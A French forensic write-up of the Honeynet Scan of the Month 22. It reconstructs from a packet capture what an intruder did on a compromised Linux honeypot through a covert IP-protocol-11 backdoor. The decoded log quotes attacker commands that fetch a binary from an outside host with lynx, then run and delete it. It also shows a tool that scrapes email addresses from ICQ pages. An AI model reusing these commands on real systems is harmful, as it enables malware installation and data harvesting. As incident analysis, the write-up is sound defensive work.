Cet article est issu de l'analyse réalisée pour le Scan of the Month du projet Honeynet du mois d'août Scan22. Après avoir pénétrer sur un système Linux sous RedHat 6.2 non patché via la vulnérabilité WU-FTPD, le pirate a installé une backdoor et l'a utilisée pour diverses activités. J'ai participé à l'analyse de ce binaire lors du reverse challenge pour comprendre son fonctionnement. Ce mois-ci le but est de déterminer ce qui a été réalisé par le pirate en utilisant un fichier binaire de capture produit par Snort. L'adresse IP de l'Honeypot est 172.16.183.2.
Divers outils seront utilisés pour l'analyse. Il s'agit principalement de
| http://www.ethereal.com | Ethereal, Analyseur de trame |
| http://www.circlemud.org/~jelson/software/tcpflow/ | TCPFlow, Réassemblage de trame TCP |
| http://razor.bindview.com/tools/fenris/ | Fenris, Debugger |
| http://www.stearns.org/p0f/ | p0f, Outil d'identification réseau passif des OS |
| http://www.cgsecurity.org/Articles/reverse/spy_pcap.c | spy_pcap, un sniffer/décodeur maison |
En premier, il faut télécharger le fichier de log et calculer sa somme de contrôle MD5 pour vérifier son intégrité.
[kmaster@christophe kmaster]$ md5sum snort-0718%401401.log.gz 6d0056c385f4d312f731d9506e217314 snort-0718%401401.log.gz
En tant que simple utilisateur, exécutons ethereal et chargeons le fichier de log. D'après le menu Tools/Summary, le fichier est au format libpcap, le format utilisé par tcpdump, ethereal, snort... Nous pouvons constater que la première trame est arrivée le 12 avril 2002 à 15:45:02 et la dernière date du 13 avril à 02:23:05. Attention, mon ordinateur est à l'heure locale Europe/Paris, soit GMT+2.
| MAC | IP |
| 00:50:56:dc:13:a2 | 172.16.183.2 |
| 00:50:56:c7:f7:62 | 172.16.183.8 |
| 00:50:56:01:00:00 | ? |
Il y a trois adresses MAC distinctes au niveau ethernet. Elles commencent toutes
par 00:50:56, or d'après la liste des codes constructeurs venant avec Ethereal,
fichier /etc/ethereal/manuf, ce code est attribué à VMWare.
Le Honeypot fonctionne dans une machine virtuelle comme expliqué sur
http://old.honeynet.org/reverse/results/project/index.html.
L'adresse MAC 00:50:56:01:00:00 est utilisé pour les machines autres que 172.16.183.2 et 172.16.183.8 comme 94.0.146.98,
elle correspond à l'adresse MAC de la passerelle Internet.
Les paquets avec les adresses IP 10.10.10.10 et 11.11.11.11 portent des checksums incorrects au niveau des entêtes IP, des entêtes TCP... Les adresses ont été sommairement altérées au niveau IP du fichier de capture dans l'idée de protéger l'identité réelle des serveurs. Par la suite, la véritable adresse IP de l'un de ces serveurs sera retrouvée.
Snort est un IDS, une sonde de détection d'intrusion disponible sur
http://www.snort.org. Modifions
son fichier de configuration /etc/snort.conf pour
activer la totalité des règles y compris info.rules et
icmp-info.rules. Demandons-lui d'analyser le fichier de log,
et de nous afficher les différentes alertes:
snort -r snort2.log -A console -l log -c /etc/snort.conf -d
-*> Snort! <*-
Version 1.8.7 (Build 128)
By Martin Roesch (roesch@sourcefire.com, www.snort.org)
04/12-15:45:02.732909 [**] [1:366:4] ICMP PING *NIX [**] [Classification: Misc activity] [Priority: 3] {ICMP} 172.16.183.2 -> 10.10.10.10
04/12-15:45:02.896713 [**] [1:408:4] ICMP Echo Reply [**] [Classification: Misc activity] [Priority: 3] {ICMP} 10.10.10.10 -> 172.16.183.2
04/12-15:45:03.776579 [**] [1:366:4] ICMP PING *NIX [**] [Classification: Misc activity] [Priority: 3] {ICMP} 172.16.183.2 -> 10.10.10.10
04/12-15:45:03.849188 [**] [1:408:4] ICMP Echo Reply [**] [Classification: Misc activity] [Priority: 3] {ICMP} 10.10.10.10 -> 172.16.183.2
04/12-15:45:04.755226 [**] [1:366:4] ICMP PING *NIX [**] [Classification: Misc activity] [Priority: 3] {ICMP} 172.16.183.2 -> 10.10.10.10
04/12-15:45:04.768159 [**] [1:408:4] ICMP Echo Reply [**] [Classification: Misc activity] [Priority: 3] {ICMP} 10.10.10.10 -> 172.16.183.2
04/12-17:10:35.475758 [**] [1:399:4] ICMP Destination Unreachable (Host Unreachable) [**] [Classification: Misc activity] [Priority: 3] {ICMP} 158.217.209.2 -> 172.16.183.2
04/12-17:10:35.500389 [**] [1:399:4] ICMP Destination Unreachable (Host Unreachable) [**] [Classification: Misc activity] [Priority: 3] {ICMP} 207.245.82.1 -> 172.16.183.2
04/12-18:31:24.406049 [**] [1:553:4] POLICY FTP anonymous login attempt [**] [Classification: Misc activity] [Priority: 3] {TCP} 80.14.184.201:1854 -> 172.16.183.2:21
04/12-18:31:24.620892 [**] [1:491:4] FTP Bad login [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 172.16.183.2:21 -> 80.14.184.201:1854
04/12-20:57:22.264983 [**] [1:402:4] ICMP Destination Unreachable (Port Unreachable) [**] [Classification: Misc activity] [Priority: 3] {ICMP} 172.16.183.8 -> 149.168.130.27
04/12-20:57:23.761669 [**] [1:402:4] ICMP Destination Unreachable (Port Unreachable) [**] [Classification: Misc activity] [Priority: 3] {ICMP} 172.16.183.8 -> 149.168.130.27
04/12-20:57:25.262160 [**] [1:402:4] ICMP Destination Unreachable (Port Unreachable) [**] [Classification: Misc activity] [Priority: 3] {ICMP} 172.16.183.8 -> 149.168.130.27
04/12-21:57:39.191581 [**] [1:1432:3] P2P GNUTella GET [**] [Classification: Misc activity] [Priority: 3] {TCP} 172.16.183.2:1025 -> 216.242.103.2:8882
04/13-00:14:43.802059 [**] [1:402:4] ICMP Destination Unreachable (Port Unreachable) [**] [Classification: Misc activity] [Priority: 3] {ICMP} 172.16.183.8 -> 169.254.129.1
04/13-00:14:43.840194 [**] [1:402:4] ICMP Destination Unreachable (Port Unreachable) [**] [Classification: Misc activity] [Priority: 3] {ICMP} 172.16.183.8 -> 216.228.169.97
04/13-00:14:45.357749 [**] [1:402:4] ICMP Destination Unreachable (Port Unreachable) [**] [Classification: Misc activity] [Priority: 3] {ICMP} 172.16.183.8 -> 169.254.129.1
04/13-00:14:45.362475 [**] [1:402:4] ICMP Destination Unreachable (Port Unreachable) [**] [Classification: Misc activity] [Priority: 3] {ICMP} 172.16.183.8 -> 216.228.169.97
04/13-00:14:46.803439 [**] [1:402:4] ICMP Destination Unreachable (Port Unreachable) [**] [Classification: Misc activity] [Priority: 3] {ICMP} 172.16.183.8 -> 169.254.129.1
04/13-00:14:46.805522 [**] [1:402:4] ICMP Destination Unreachable (Port Unreachable) [**] [Classification: Misc activity] [Priority: 3] {ICMP} 172.16.183.8 -> 216.228.169.97
04/13-01:01:33.747278 [**] [1:402:4] ICMP Destination Unreachable (Port Unreachable) [**] [Classification: Misc activity] [Priority: 3] {ICMP} 172.16.183.2 -> 207.245.82.2
Run time for packet processing was 1.4294581242 seconds
Ces différentes alertes seront décortiquées par la suite.
Quelle est la nature des différents protocoles utilisés ?
Dans le menu Tools, choisissez Protocol hierarchy statistics pour générer un rapport sur l'utilisation
des différents protocoles. Avec étonnement, on constate la présence de MAPI et du protocole Socket et beaucoup de Data pour le TCP.
Le paquet numéro 73 correspond à l'initialisation d'une connexion vers 216.242.103.2 (ns1.synergycorp.com). A l'aide de Follow TCP stream, on se rend compte que la connexion se fait en HTTP. Il ne reste plus qu'à choisir "Decode As", decode TCP destination 8882 as HTTP pour corriger ce problème d'identification des protocoles. De la même manière, on inspecte les flux reconnus comme du MAPI et Socket,
là aussi, il s'agit du protocole HTTP. On relance l'analyse statistique des protocoles. La majorité du trafic se compose de TCP.
Du trafic IP et UDP s'effectue selon des protocoles non reconnus (Data) par Ethereal.
On remarque:
Quel outil a été utilisé pour générer les pings ? D'après les alertes produites par
Snort précédemment, il s'agit d'un ICMP PING *NIX autrement dit de paquets
générés par la commande ping Unix ce qui n'a rien d'anormal pour un serveur sous RedHat 6.2.
Les paquets ICMP ping contiennent des données qui sont initialisés différemment selon les OS.
Regarder dans le répertoire log remplis par Snort
04/12-15:45:02.732909 [**] [1:366:4] ICMP PING *NIX [**] [Classification: Misc activity] [Priority: 3] {ICMP} 172.16.183.2 -> 10.10.10.10
04/12-15:45:02.896713 10.10.10.10 -> 172.16.183.2
ICMP TTL:56 TOS:0x0 ID:62373 IpLen:20 DgmLen:84
Type:0 Code:0 ID:36098 Seq:0 ECHO REPLY
0A AE B6 3C 0E 41 01 00 08 09 0A 0B 0C 0D 0E 0F ...<.A..........
10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F ................
20 21 22 23 24 25 26 27 28 29 2A 2B 2C 2D 2E 2F !"#$%&'()*+,-./
30 31 32 33 34 35 36 37 01234567
Pour approfondir le sujet, consulter l'article Identifying ICMP Hackery Tools
où Ofir Arkin analyse les différents outils générant des paquets ICMP.
Ethereal dispose d'une version texte tethereal. Filtrons le protocole
ICMP avec la commande tethereal -Vnr snort.log icmp|egrep "(Code:|Src)",
...
Internet Protocol, Src Addr: 172.16.183.8 (172.16.183.8), Dst Addr: 169.254.129.1 (169.254.129.1)
Code: 3 (Port unreachable)
Internet Protocol, Src Addr: 169.254.129.1 (169.254.129.1), Dst Addr: 216.158.2.205 (216.158.2.205)
User Datagram Protocol, Src Port: 137 (137), Dst Port: 137 (137)
Internet Protocol, Src Addr: 172.16.183.8 (172.16.183.8), Dst Addr: 216.228.169.97 (216.228.169.97)
Code: 3 (Port unreachable)
Internet Protocol, Src Addr: 216.228.169.97 (216.228.169.97), Dst Addr: 216.158.2.205 (216.158.2.205)
User Datagram Protocol, Src Port: 137 (137), Dst Port: 137 (137)
Internet Protocol, Src Addr: 172.16.183.2 (172.16.183.2), Dst Addr: 207.245.82.2 (207.245.82.2)
Code: 3 (Port unreachable)
Internet Protocol, Src Addr: 207.245.82.2 (207.245.82.2), Dst Addr: 216.158.2.203 (216.158.2.203)
User Datagram Protocol, Src Port: 53 (53), Dst Port: 1025 (1025)
Tel que défini dans le RFC 1122, les messages d'erreurs ICMP inclus l'entête IP et au moins
les 8 premiers octets du datagramme ayant provoqué l'erreur. Cela permet d'apprendre
la cause des paquets ICMP Destination unreachable:
Une requête Whois permet d'apprendre que les adresses publiques des Honeypots dépendent du provider américain DCA.
whois 216.158.2.202@whois.arin.net
[whois.arin.net]
Consult Dynamics, Inc. (NETBLK-DCAN-001)
1204 West Street
Wilmington, DE 19801
US
Netname: DCAN-001
Netblock: 216.158.0.0 - 216.158.63.255
Maintainer: DCAN
Coordinator:
White, Andrew J. (AW99-ARIN) abuse@DCA.NET
+1-302-654-1019 (FAX) +1-302-426-1568
Domain System inverse mapping provided by:
NS1.DCA.NET 204.183.80.2
NS2.DCA.NET 207.245.82.2
ADDRESSES WITHIN THIS BLOCK ARE NON-PORTABLE
Record last updated on 07-May-2001.
Database last updated on 13-Aug-2002 20:01:19 EDT.
the-binary est le nom du troyen analysé durant le Reverse challenge.
Il a été installé par le pirate sur le Honeynet comme /usr/bin/mingetty.
lynx -source http://192.168.82.37:8882/foo>/usr/bin/mingetty
Cf commandes du hacker.
Cette backdoor reçoit des commandes en utilisant le protocole IP 11 se faisant passer de ce fait
comme NVP (Network Voice Protocol). L'attaquant peut contrôler à distance la machine à travers
un protocole non standard et profite du fait que certains firewalls ne filtrent pas les protocoles
inconnus. Toutes les communications sont codées avec un algorithme maison. Ainsi dans l'éventualité
où les paquets seraient observés, les commandes envoyées par le pirate et leurs réponses sont
masquées par ce codage. De plus, le protocole est stateless comme UDP, cela permet au pirate de
spoofer son adresse IP source de façon à ce que sa véritable adresse ne soit pas connue.
Une description complète est disponible ici. Décodons les commandes du pirate avec spy_pcap.c.
7 =====> Packet intercepted, 436 bytes sniffed <===== 00:50:56:01:00:00 -> 00:50:56:dc:13:a2 IP 94.0.146.98 -> 172.16.183.2 the-binary client->server set hacker address 203.173.144.50 use fake address 1
Le pirate vient de configurer le troyen pour lui envoyer la sortie standard de ces commandes sur l'adresse 203.173.144.50 (p50-tnt7.syd.ihug.com.au) et sur d'autres adresses aléatoires. Il est possible que le pirate utilise plusieurs machines piratées pour relayer ces attaques.
8 =====> Packet intercepted, 436 bytes sniffed <=====
00:50:56:01:00:00 -> 00:50:56:dc:13:a2 IP 192.146.201.172 -> 172.16.183.2
the-binary client->server
cmd=grep -i "zone" /etc/named.conf
9 =====> Packet intercepted, 546 bytes sniffed <=====
00:50:56:dc:13:a2 -> 00:50:56:01:00:00 IP 172.16.183.2 -> 175.44.57.180
the-binary client<-server
cmd=3 41 zone "." {
zone "0.0.127.in-addr.arpa" {
...
Il recherche quelles sont les zones configurées dans le DNS. Peut-être qu'il cherche le nom de la société qu'il a piraté. Comme le troyen peut être utilisé pour forger des requêtes DNS, peut-être qu'il vérifie la configuration et que la machine est bien autorisée à envoyer des requêtes DNS.
62 =====> Packet intercepted, 436 bytes sniffed <===== 00:50:56:01:00:00 -> 00:50:56:dc:13:a2 IP 168.148.27.14 -> 172.16.183.2 the-binary client->server blind cmd=killall -9 ttserve 63 =====> Packet intercepted, 436 bytes sniffed <===== 00:50:56:01:00:00 -> 00:50:56:dc:13:a2 IP 10.39.81.89 -> 172.16.183.2 the-binary client->server blind cmd=killall -9 ttserve
72 =====> Packet intercepted, 436 bytes sniffed <===== 00:50:56:01:00:00 -> 00:50:56:dc:13:a2 IP 58.248.76.90 -> 172.16.183.2 the-binary client->server blind cmd=killall -9 ttserve ; lynx -source http://216.242.103.2:8882/foo > /tmp /ttserve ; chmod 755 /tmp/ttserve ; cd /tmp ; ./ttserve ; rm -rf /tmp/ttserve ./ ttserve ;
A 19:57:37, le hacker envoie une commande pour télécharger le binaire foo et l'exécuter.
1236 =====> Packet intercepted, 436 bytes sniffed <===== 00:50:56:01:00:00 -> 00:50:56:dc:13:a2 IP 218.209.145.27 -> 172.16.183.2 the-binary client->server blind cmd=killall -9 lynx ; rm -rf /tmp/ttserve; 1237 =====> Packet intercepted, 436 bytes sniffed <===== 00:50:56:01:00:00 -> 00:50:56:dc:13:a2 IP 122.255.17.55 -> 172.16.183.2 the-binary client->server blind cmd=killall -9 lynx ; rm -rf /tmp/ttserve; 1282 =====> Packet intercepted, 436 bytes sniffed <===== 00:50:56:01:00:00 -> 00:50:56:dc:13:a2 IP 26.44.146.84 -> 172.16.183.2 the-binary client->server blind cmd=killall -9 lynx ; rm -rf /tmp/ttserve;
Cinq minutes plus tard (20:02:40), il envoie une commande pour arrêter le transfert avec lynx et effacer le fichier transféré.
Tous les paquets ont un même TTL de 237. Les IP sources sont forgées: certaines correspondent même à des adresses de réseaux privés (10.39.81.89) ou à des ranges non exploités (58.248.76.90).
Avec tcpflow -r snort.log, on réassemble les flux TCP. Cela
va être utile par la suite.
Un serveur WUFTP 2.6.0(1) est installé sur le Honeypot. D'ailleurs, c'est par la faille WU-FTPD que le Linux a été piraté.
220 serv1 FTP server (Version wu-2.6.0(1) Mon Feb 28 10:30:36 EST 2000) ready. USER anonymous 331 Guest login ok, send your complete e-mail address as password. PASS Pgpuser@home.com 530 Login incorrect. 221 You could at least say goodbye.
Rien d'intéressant si ce n'est que des personnes recherchent des FTP.
Une connexion HTTP commence au paquet 73 depuis le Honeypot vers 11.11.11.11:8882 pour récupérer le binaire foo.
GET /foo HTTP/1.0 Host: 216.242.103.2:8882 Accept: text/html, text/plain, audio/mod, image/*, video/*, video/mpeg, application/pgp, application/pgp, application/pdf, message/partial, message/external-body, application/postscript, x-be2, application/andrew-inset, text/richtext, text/enriched Accept: x-sun-attachment, audio-file, postscript-file, default, mail-file, sun-deskset-message, application/x-metamail-patch, text/sgml, */*;q=0.01 Accept-Encoding: gzip, compress Accept-Language: en User-Agent: Lynx/2.8.3dev.18 libwww-FM/2.14 HTTP/1.1 200 OK Server: Foobarcatdog1 Content-type: text/x-csrc Content-length: 215464 Accept-Ranges: bytes ...
On apprend que la véritable adresse de 11.11.11.11 est 216.242.103.2. La personne en charge
de ce challenge avait préféré masquer l'adresse mais n'y était pas arrivé totalement.
N'ayant pas trouvé d'outils pour réaliser l'opération inverse, j'ai écris un petit programme
rewrite_log,
pour réécrire le fichier de log Snort avec l'adresse trouvée.
Les checksums IP sont désormais correctes, l'adresse est bien la bonne. N'oubliez pas de sauvegarder le binaire foo pour la suite.
Vérifions le fichier 216.242.103.002.08882-172.016.183.002.01025 généré par tcpflow
à partir de ce nouveau fichier Snort.
GET /wwp?Uin=9207100 HTTP/1.0 Host: web.icq.com HTTP/1.1 200 OK Date: Fri, 12 Apr 2002 19:58:41 GMT Server: Apache/1.3.12 (Unix) mod_ssl/2.6.6 OpenSSL/0.9.5a Cache-Control: max-age=0 Expires: Fri, 12 Apr 2002 19:58:41 GMT Connection: close Content-Type: text/html ...
Ce même paquet est daté du 12 avril 21:58:07, heure de Paris. On peut estimer que l'heure est correcte à une minute prêt.
GET /wwp?Uin=9207199 HTTP/1.0 Host: web.icq.com HTTP/1.1 200 OK Date: Sat, 13 Apr 2002 00:23:51 GMT Server: Apache/1.3.12 (Unix) mod_ssl/2.6.6 OpenSSL/0.9.5a Cache-Control: max-age=0 Expires: Sat, 13 Apr 2002 00:23:51 GMT Connection: close Content-Type: text/html ...
Il y a des connexions HTTP vers http://web.icq.com/wwp?Uin=x où x
est l'Universal Internet Number (UIN, identifiant ICQ) s'incrémentant de 9207100 à 9207199.
La page web récupérée contient souvent les adresses emails des propriétaires des UIN.
Les connexions sortantes sont très lentes, il y a même des retransmissions de paquet. Une technique utilisée par l'Honeynet Team est de configurer le firewall pour limiter le nombre de nouvelles connexions sortantes dans le temps afin d'éviter les attaques de type Déni de Service depuis le honeypot.
Le DNS utilisé par le Honeypot est 207.245.82.2 (ns2.dca.net), on observe de nombreuses requêtes DNS pour résoudre web.icq.com.
Après le téléchargement du binaire foo, le serveur 216.242.103.2 (ns1.synergycorp.com)
est contacté sur le port 53413 avec les données GU (hex:47 55 0a).
La réponse a été DU9207100 (hex: 44 55 39 32 30 37 31 30 30 0a).
C'est le premier Uin ICQ qui a été testé.
Fort des connaissances apportées par le précédent challenge Reverse,
le binaire a été rapidement étudié.
La section des données en lecture seule .rodata
du binaire ELF contient des informations intéressantes:
objdump -s -j .rodata foo foo: file format elf32-i386 Contents of section .rodata: 8074a48 286e6673 696f6429 002f0032 31362e32 (nfsiod)./.216.2 8074a58 34322e31 30332e32 00474f54 0047550a 42.103.2.GOT.GU. 8074a68 00444945 00445500 256c7500 5345256c .DIE.DU.%lu.SE%l 8074a78 750a0077 65622e69 63712e63 6f6d0047 u..web.icq.com.G 8074a88 4554202f 7777703f 55696e3d 256c7520 ET /wwp?Uin=%lu 8074a98 48545450 2f312e30 0d0a486f 73743a20 HTTP/1.0..Host: 8074aa8 7765622e 6963712e 636f6d0d 0a0d0a00 web.icq.com..... 8074ab8 67657468 6f737462 792a2e67 6574616e gethostby*.getan 8074ac8 73776572 3a206173 6b656420 666f7220 swer: asked for ...
On retrouve la commande GU, l'adresse IP 216.242.103.2,
le site web d'ICQ ainsi que le nom (nfsiod) et d'autres mots sans doute des commandes GOT,
DIE, DU et SE.
Le binaire foo a été téléchargé depuis http://216.242.103.2:8882/foo.
Lors de son démarrage, il contacte 216.242.103.2 (ns1.synergycorp.com) pour
récupérer l'UIN initial (GU=Get UIN ?) puis effectue des requêtes HTTP vers
web.icq.com.
Chaque connexion est précédée de la résolution de nom de web.icq.com.
Cela génère du trafic inutile, il aurait suffit de l'effectuer une fois
pour toute. Un bon programmeur aurait sans doute utilisé des
connexions en parallèle pour accélérer la récupération d'information.
Pour savoir quel traitement est effectué sur la page HTML,
une rapide décompilation de foo a été effectué.
A l'aide de dress de fenris, les symboles sont ajoutés
permettant d'avoir les noms des fonctions.
./dress -F support/fn-libc5.dat ~/scan/foo ~/scan/foo_dress
. Dans la sortie de objdump -d foo_dress, recherchons
un appel à recv(), la fonction de lecture de données.
8048753: 50 push %eax 8048754: e8 eb b7 01 00 call 8063f44 <recvfrom / sendto+0x60> 8048759: 83 c4 10 add $0x10,%esp 804875c: 6a 00 push $0x0
A proximité, il y a la vérification du mot HTML mailto:
804885a: 8d 36 lea (%esi),%esi 804885c: 80 bd df fb ff ff 6d cmpb $0x6d,0xfffffbdf(%ebp) 'm' 8048863: 74 07 je 0x804886c 8048865: c7 45 e0 00 00 00 00 movl $0x0,0xffffffe0(%ebp) 804886c: eb 7a jmp 0x80488e8 804886e: 8d 36 lea (%esi),%esi 8048870: 80 bd df fb ff ff 61 cmpb $0x61,0xfffffbdf(%ebp) 'a' 8048877: 74 07 je 0x8048880 8048879: c7 45 e0 00 00 00 00 movl $0x0,0xffffffe0(%ebp) 8048880: eb 66 jmp 0x80488e8 8048882: 8d 36 lea (%esi),%esi 8048884: 80 bd df fb ff ff 69 cmpb $0x69,0xfffffbdf(%ebp) 'i' 804888b: 74 07 je 0x8048894 804888d: c7 45 e0 00 00 00 00 movl $0x0,0xffffffe0(%ebp) 8048894: eb 52 jmp 0x80488e8 8048896: 8d 36 lea (%esi),%esi 8048898: 80 bd df fb ff ff 6c cmpb $0x6c,0xfffffbdf(%ebp) 'l' 804889f: 74 07 je 0x80488a8 80488a1: c7 45 e0 00 00 00 00 movl $0x0,0xffffffe0(%ebp) 80488a8: eb 3e jmp 0x80488e8 80488aa: 8d 36 lea (%esi),%esi 80488ac: 80 bd df fb ff ff 74 cmpb $0x74,0xfffffbdf(%ebp) 't' 80488b3: 74 07 je 0x80488bc 80488b5: c7 45 e0 00 00 00 00 movl $0x0,0xffffffe0(%ebp) 80488bc: eb 2a jmp 0x80488e8 80488be: 8d 36 lea (%esi),%esi 80488c0: 80 bd df fb ff ff 6f cmpb $0x6f,0xfffffbdf(%ebp) 'o' 80488c7: 74 07 je 0x80488d0 80488c9: c7 45 e0 00 00 00 00 movl $0x0,0xffffffe0(%ebp) 80488d0: eb 16 jmp 0x80488e8 80488d2: 8d 36 lea (%esi),%esi 80488d4: 80 bd df fb ff ff 3a cmpb $0x3a,0xfffffbdf(%ebp) ':' 80488db: 75 07 jne 0x80488e4
Le programme foo collecte les adresses email. Une autre façon d'analyser le programme consiste à le faire fonctionner, hors réseau et dans un environnement chrooté si possible. En montant en local un serveur web et un petit programme pour fournir l'UIN initial, avec des alias IP (ifconfig eth0:0 216.242.103.2 ...), le programme se retrouve à interroger la machine locale et on peut donc analyser son comportement sans faire appel à des connaissances en assembleur. Cette technique est décrite sur http://old.honeynet.org/scans/scan22/sol/writeup/writeup.html. Cela permet de trouver le protocole complet de communication entre ce binaire et son agent.
| répète | foo/ttserve | handler |
| GU -----> (Get UIN/Get Users) | ||
| <----- DUxxxxxx (Download Users) | ||
| SExxxxxx email addresses -----> (Send Email) | ||
| <----- GOT (Got it!) | ||
| jusqu'à <-DIE du handler |
Avec p0f, tentons de déterminer les systèmes d'exploitation utilisés.
p0f -s snort2.log |sort -u p0f: passive os fingerprinting utility, version 1.8.2 (C) Michal Zalewski <lcamtuf@gis.net>, William Stearns <wstearns@pobox.com> p0f: file: '/etc/p0f.fp', 150 fprints, iface: 'eth0', rule: 'all'. 172.16.183.2 [1 hops]: Linux 2.2.9 - 2.2.18 61.114.247.229 [20 hops]: Linux 2.2.9 - 2.2.18 62.57.114.246: UNKNOWN [60352:47:1460:1:2:0:1:52]. 80.11.16.253 [24 hops]: Windows 2000 (9) 80.14.184.201: UNKNOWN [16384:105:1460:1:-1:0:1:48].
Le pirate utilise 203.173.144.50 (p50-tnt7.syd.ihug.com.au) pour récupérer la sortie des commandes exécutées par the-binary mais il télécharge des fichiers et contrôle le programme de récupération de données ICQ à partir de 216.242.103.2 (ns1.synergycorp.com).
Il a effectué un grep dans le fichier de configuration du DNS pour récupérer les zones. Ensuite, il a téléchargé et exécuté le programme foo.
Pour éviter la détection, the-binary n'utilise pas des paquets de taille fixe. La taille est augmentée de manière aléatoire. Quand les données sont envoyées, les données stockées dans le buffer contigu sont elles aussi envoyées. Or dans ce buffer est stocké le résultat des commandes et les données ne sont pas effacées, ni codées. Le problème a déjà été révélé par des participants au Reverse Chalenge (CoPS) Lab at the University of North Texas.
Le programme foo a été téléchargé depuis http://216.242.103.2:8882/foo.
Au demarrage, il se connecte sur 216.242.103.2 (ns1.synergycorp.com)
pour récupérer l'UIN initiale (GU=Get UIN ?) puis effectue des requêtes
http://web.icq.com/wwp?Uin=x sur 100 UIN pour collecter
des adresses emails.
Avant chaque connexion, une résolution DNS de web.icq.com est effectuée. Seule la première était nécessaire, les autres auraient pu être éviter. Un bon programmeur aurait sans doute utilisé des connexions parallèles pour accélérer la récupération des informations. Le pirate est sans doute un programmeur débutant.
Le programme ttserve rend la main immédiatement et continue à fonctionner en tâche
de fond sous le nom (nfsiod). Le pirate peut donc le supprimer pour masquer la présence de ce programme.
Il va très certainement spammer les personnes dont il a récupéré les adresses emails ou revendre le fichier constitué.
La bonne configuration de tout firewall est de bloquer ce qui n'est pas explicitement autorisé. Dans mon cas, la communication aurait été bloquée et loguée. La question est de savoir que fait-on de ses logs ? Une sonde Snort aurait elle aussi pu détecter l'utilisation de ce protocole inhabituelle.
Christophe GRENIER grenier@cgsecurity.org Consultant Sécurité chez Global Secure